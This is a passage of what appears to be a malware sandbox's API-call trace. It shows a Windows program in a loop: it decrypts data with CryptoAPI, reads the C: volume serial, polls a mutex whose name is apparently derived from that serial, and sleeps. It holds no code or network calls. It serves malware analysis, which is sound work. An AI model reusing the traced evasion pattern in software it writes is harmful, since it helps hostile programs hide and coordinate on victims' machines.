(in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b90c8) returned 1 [0156.163] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0156.164] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0156.164] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0156.164] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f1200 [0156.164] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x224 [0156.164] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0156.164] CloseHandle (hObject=0x224) returned 1 [0156.164] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.164] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.164] Sleep (dwMilliseconds=0x3e8) [0157.237] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0157.237] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b90c8) returned 1 [0157.238] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0157.238] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0157.238] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0157.238] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0157.238] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f12b0 [0157.238] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12d8 [0157.238] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b8f88) returned 1 [0157.238] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0157.238] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12d8, pdwDataLen=0x225fc5c | out: pbData=0x6f12d8, pdwDataLen=0x225fc5c) returned 1 [0157.238] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0157.238] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12d8 | out: hHeap=0x6f0000) returned 1 [0157.238] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.238] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0157.238] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0157.238] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.239] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0157.239] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0157.239] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b8e88) returned 1 [0157.239] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0157.239] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0157.239] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0157.239] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f12b0 [0157.239] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264 [0157.239] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0157.239] CloseHandle (hObject=0x264) returned 1 [0157.239] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0157.239] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0157.239] Sleep (dwMilliseconds=0x3e8) [0158.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0158.246] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b8e88) returned 1 [0158.246] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0158.246] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0158.246] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0158.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0158.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f12b0 [0158.246] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12d8 [0158.246] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b8e88) returned 1 [0158.246] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0158.246] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12d8, pdwDataLen=0x225fc5c | out: pbData=0x6f12d8, pdwDataLen=0x225fc5c) returned 1 [0158.246] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0158.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12d8 | out: hHeap=0x6f0000) returned 1 [0158.246] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0158.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0158.246] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0158.246] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.247] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0158.247] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0158.247] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b90c8) returned 1 [0158.247] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0158.247] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0158.247] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0158.247] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f12b0 [0158.247] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264 [0158.247] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0158.247] CloseHandle (hObject=0x264) returned 1 [0158.247] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0158.247] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0158.247] Sleep (dwMilliseconds=0x3e8) [0159.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0159.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b9208) returned 1 [0159.258] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0159.258] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0159.258] CryptDestroyKey (hKey=0x1b9208) returned 1 [0159.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0159.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f12b0 [0159.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12d8 [0159.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b90c8) returned 1 [0159.258] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0159.258] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12d8, pdwDataLen=0x225fc5c | out: pbData=0x6f12d8, pdwDataLen=0x225fc5c) returned 1 [0159.258] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0159.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12d8 | out: hHeap=0x6f0000) returned 1 [0159.258] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0159.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0159.258] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0159.258] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0159.259] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0159.259] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0159.259] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b8e88) returned 1 [0159.259] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0159.259] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0159.259] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0159.259] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f12b0 [0159.259] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264 [0159.259] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0159.259] CloseHandle (hObject=0x264) returned 1 [0159.259] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0159.259] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0159.259] Sleep (dwMilliseconds=0x3e8) [0160.578] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0160.578] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b9348) returned 1 [0160.578] CryptSetKeyParam (hKey=0x1b9348, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0160.578] CryptDecrypt (in: hKey=0x1b9348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0160.578] CryptDestroyKey (hKey=0x1b9348) returned 1 [0160.578] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0160.578] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f12b0 [0160.578] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12d8 [0160.578] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b94c8) returned 1 [0160.578] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0160.578] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12d8, pdwDataLen=0x225fc5c | out: pbData=0x6f12d8, pdwDataLen=0x225fc5c) returned 1 [0160.578] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0160.578] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12d8 | out: hHeap=0x6f0000) returned 1 [0160.578] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0160.578] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0160.579] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0160.579] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0160.579] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0160.579] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0160.579] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b9288) returned 1 [0160.579] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0160.579] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0160.579] CryptDestroyKey (hKey=0x1b9288) returned 1 [0160.579] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f12b0 [0160.579] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264 [0160.579] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0160.579] CloseHandle (hObject=0x264) returned 1 [0160.579] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0160.579] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0160.580] Sleep (dwMilliseconds=0x3e8) [0161.724] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4f38 [0161.724] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b9288) returned 1 [0161.724] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0161.724] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f38, pdwDataLen=0x225fc84 | out: pbData=0x6f4f38, pdwDataLen=0x225fc84) returned 1 [0161.724] CryptDestroyKey (hKey=0x1b9288) returned 1 [0161.724] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4f60 [0161.724] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f4f88 [0161.724] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0161.724] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b9288) returned 1 [0161.724] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0161.724] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0161.724] CryptDestroyKey (hKey=0x1b9288) returned 1 [0161.724] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0161.724] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f4f60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.724] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f88 | out: hHeap=0x6f0000) returned 1 [0161.724] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f38 | out: hHeap=0x6f0000) returned 1 [0161.724] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.724] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f60 | out: hHeap=0x6f0000) returned 1 [0161.725] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f4f38 [0161.725] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b9288) returned 1 [0161.725] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0161.725] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f38, pdwDataLen=0x225fcb8 | out: pbData=0x6f4f38, pdwDataLen=0x225fcb8) returned 1 [0161.725] CryptDestroyKey (hKey=0x1b9288) returned 1 [0161.725] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f4f80 [0161.725] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2b0 [0161.725] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x102 [0161.725] CloseHandle (hObject=0x2b0) returned 1 [0161.725] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f38 | out: hHeap=0x6f0000) returned 1 [0161.725] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f80 | out: hHeap=0x6f0000) returned 1 [0161.725] Sleep (dwMilliseconds=0x3e8) [0163.759] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4ff8 [0163.759] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d14d0) returned 1 [0163.759] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0163.759] CryptDecrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ff8, pdwDataLen=0x225fc84 | out: pbData=0x6f4ff8, pdwDataLen=0x225fc84) returned 1 [0163.759] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0163.759] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6fafc0 [0163.759] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6fafe8 [0163.759] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fb010 [0163.759] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1a50) returned 1 [0163.759] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0163.759] CryptDecrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fb010, pdwDataLen=0x225fc5c | out: pbData=0x6fb010, pdwDataLen=0x225fc5c) returned 1 [0163.759] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0163.759] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb010 | out: hHeap=0x6f0000) returned 1 [0163.759] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6fafc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0163.759] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafe8 | out: hHeap=0x6f0000) returned 1 [0163.759] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ff8 | out: hHeap=0x6f0000) returned 1 [0163.759] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.760] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0163.760] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0163.760] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1b50) returned 1 [0163.760] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0163.760] CryptDecrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0163.760] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0163.760] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0163.760] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2cc [0163.760] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0163.760] CloseHandle (hObject=0x2cc) returned 1 [0163.760] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0163.760] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0163.760] Sleep (dwMilliseconds=0x3e8) [0165.292] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4ff8 [0165.292] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1410) returned 1 [0165.292] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0165.292] CryptDecrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ff8, pdwDataLen=0x225fc84 | out: pbData=0x6f4ff8, pdwDataLen=0x225fc84) returned 1 [0165.292] CryptDestroyKey (hKey=0x1d1410) returned 1 [0165.292] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6fafc0 [0165.292] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6fafe8 [0165.292] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fb010 [0165.292] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d16d0) returned 1 [0165.292] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0165.416] CryptDecrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fb010, pdwDataLen=0x225fc5c | out: pbData=0x6fb010, pdwDataLen=0x225fc5c) returned 1 [0165.416] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0165.416] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb010 | out: hHeap=0x6f0000) returned 1 [0165.416] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6fafc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0165.416] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafe8 | out: hHeap=0x6f0000) returned 1 [0165.416] HeapFree (in: hHeap=0x6f0000, 